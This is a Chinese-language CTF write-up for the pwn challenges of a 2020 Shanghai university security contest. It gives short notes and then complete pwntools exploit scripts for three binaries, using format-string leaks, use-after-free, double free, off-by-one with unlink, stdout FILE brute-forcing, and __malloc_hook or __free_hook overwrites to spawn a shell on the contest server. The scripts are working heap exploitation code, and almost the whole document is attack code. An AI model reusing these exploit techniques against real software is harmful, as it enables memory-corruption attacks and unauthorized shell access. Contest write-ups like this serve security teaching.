2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛 pwn部分 writeup
EASY_ABNORMAL
格式化字符串泄漏libc地址,uaf来泄漏堆地址
利用异常机制将栈迁移到堆上执行gadget
from pwn import *
binary = "./pwn"
libc = ELF('./libc-2.23.so')
p = remote("123.56.52.128","10012")
def name(payload):
p.sendafter('NAME: ',payload)
def add(data):
p.sendlineafter('CHOICE :','2')
p.sendafter('cnt:',data)
def free(index):
p.sendlineafter('CHOICE :','3')
p.sendlineafter('idx:',str(index))
def show_note():
p.sendlineafter('CHOICE :','4')
def format():
p.sendlineafter('CHOICE :','1')
def gift(payload):
p.sendlineafter('CHOICE :','23333')
p.sendafter("INPUT:",payload)
name("%11$p\n")
format()
p.recvuntil('0x')
main = int(p.recv(12),16) - 240
libc_base = main - libc.sym['__libc_start_main']
one_gadget = libc_base + 0x4527a
payload = p64(0) * 4 + p64(one_gadget)
add(payload + '\n')
add(payload + '\n')
free(0)
free(1)
show_note()
p.recvuntil('idx 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
payload1 = '\x00' * 32 + p64(heap_addr + 0x28)
gift(payload1)
p.interactive()
maj0rone
仔细分析下这个是不难的,主要在于add功能绕回答一个问题,分析输入80就能绕过了
然后就是简单的uaf,爆破下IO,没给libc,直接用本地的试了一下就通了
from pwn import *
local = 0
'''
time: 2020-11-14
libc: libc-2.23.so
python version:2.7
'''
binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "18523"
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('please answer the question','80')
p.sendlineafter('______?',str(size))
p.sendafter('start_the_game,yes_or_no?',content)
def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('index ?',str(index))
p.sendafter('__new_content ?',content)
def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('index ?',str(index))
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['_IO_2_1_stderr_']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
byte_bss = 0x603038
bss1 = 0x60303C
bss2 = 0x603040
yes = 0x603060
sizearray = 0x603260
heaparray = 0x6032E0
content = 0x6033E0
while True:
try:
if local == 1:
p = process(binary)
else:
p = remote("123.56.52.128",port)
add(0x60,'0')
add(0x60,'1')
add(0x10,'2')
add(0x10,'3')
free(1)
free(0)
free(1)
edit(1,'\x40')
payload = p64(0) * 6 + p64(0) + p64(0x71)
edit(0,payload)
add(0x60,'4')
add(0x60,'5')
free(1)
payload = p64(0) * 5 + p64(0x91)
edit(5,payload)
free(1)
payload = p64(0) * 5 + p64(0x71) + '\xdd\x65'
edit(5,payload)
payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags
payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
add(0x60,'6')
add(0x60,'7')
edit(7,payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
leak_libc(leak)
add(0x60,'8')
free(8)
edit(8,p64(__malloc_hook - 0x23))
one_gadget_list = [0x45226,0x4527a,0xf0364,0xf1207]
one_gadget = libc_base + one_gadget_list[3]
payload = 0x13 * 'a' + p64(one_gadget)
add(0x60,'9')
add(0x60,'10')
edit(10,payload)
p.interactive()
break
except Exception as e:
print(e)
p.close()
continue
lgtwo
跟De1ctf一个题有点儿像,漏洞是off-by-one
布置堆结构在fastbin的fd上踩出一个unsorted bin指针,爆破IO即可
最后unlink
from pwn import *
local = 0
binary = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc-2.23.so'
port = "45830"
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(size,content):
p.sendlineafter('>>','1')
p.sendlineafter('size?',str(size))
p.sendafter('content?',content)
def free(index):
p.sendlineafter('>>','2')
p.sendlineafter('index ?',str(index))
def edit(index,content):
p.sendlineafter('>>','4')
p.sendlineafter('index ?',str(index))
p.sendafter('what is your new content ?',content)
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['_IO_2_1_stderr_']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
heaparray = 0x6020C0
sizearray = 0x602040
some = 0x602038
content = 0x6021C0
fd = heaparray + 0x8 * 7 - 0x18
bk = heaparray + 0x8 * 7- 0x10
elf = ELF(binary)
while True:
try:
if local == 1:
p = process(binary)
else:
p = remote("123.56.52.128",port)
# dbg()
add(0x18,'a') # 0
add(0x18,'b') # 1
add(0x60,'c') # 2
add(0x58,'c') # 3
add(0x10,'pro') # 4
edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
# edit(3,0x50 * 'a' + p64(0xf0) + '\x20')
free(1)
free(2)
# add(0x60,'dddd')
add(0x18,'heihei') # 1
# add(0x60,'bao')
add(0xc0,'az') # 2
edit(1,0x18 * 'a' + '\x71')
edit(0,0x10 * 'a' + 8 * '\x00' + '\xf1')
free(1)
add(0xe0,'hello') # 1
payload = p64(0) * 3 + p64(0x71) + '\xdd\x65'
edit(1,payload)
add(0x60,'lemon')
add(0x60,'fakechunk') # 6
payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) # change flags
payload += p64(0) * 3 + '\x00' # make _IO_write_base smaller
edit(6,payload)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
log.success("LEAK:{}".format(hex(leak)))
leak_libc(leak)
add(0x38,'a') # 7
add(0x80,'b') # 8
add(0x10,'/bin/sh\x00') # 9
edit(9,'/bin/sh\x00')
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk)
payload = payload.ljust(0x30,'\x00')
payload += p64(0x30) +'\x90'
edit(7,payload)
free(8)
edit(7,p64(0) * 3 + p64(__free_hook))
edit(7,p64(system))
free(9)
p.interactive()
break
except Exception as e:
print(e)
p.close()
continue